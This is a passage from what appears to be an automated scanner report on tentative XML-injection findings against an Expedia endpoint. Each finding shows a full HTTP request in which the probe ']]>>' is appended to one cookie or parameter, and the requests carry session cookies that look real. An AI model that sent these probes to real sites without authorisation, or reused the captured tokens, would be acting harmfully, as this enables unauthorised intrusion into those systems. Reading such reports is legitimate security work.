Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1]]>>; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.4. https://www.expedia.com/pub/agent.dll [JSESSION cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The JSESSION cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the JSESSION cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853]]>>; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.5. https://www.expedia.com/pub/agent.dll [MC1 cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The MC1 cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the MC1 cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B]]>>; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.6. https://www.expedia.com/pub/agent.dll [U9Z5 cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The U9Z5 cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the U9Z5 cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg]]>>; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.7. https://www.expedia.com/pub/agent.dll [aspp cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The aspp cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the aspp cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||]]>>; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.8. https://www.expedia.com/pub/agent.dll [bn_u cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The bn_u cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the bn_u cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224]]>>; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.9. https://www.expedia.com/pub/agent.dll [hfnm parameter] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

Request

GET /pub/agent.dll?qscr=cach&hfnm=jstooltipi.htx]]>>&flag=j&nojs=1&zkey=1010331160&zz=5 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&ussl=1&&zz=1304739356206
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s1=`0; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B

Response

3.10. https://www.expedia.com/pub/agent.dll [iEAPID cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The iEAPID cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the iEAPID cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,]]>>; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

Response

3.11. https://www.expedia.com/pub/agent.dll [ipsnf3 cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The ipsnf3 cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the ipsnf3 cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington]]>>; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; 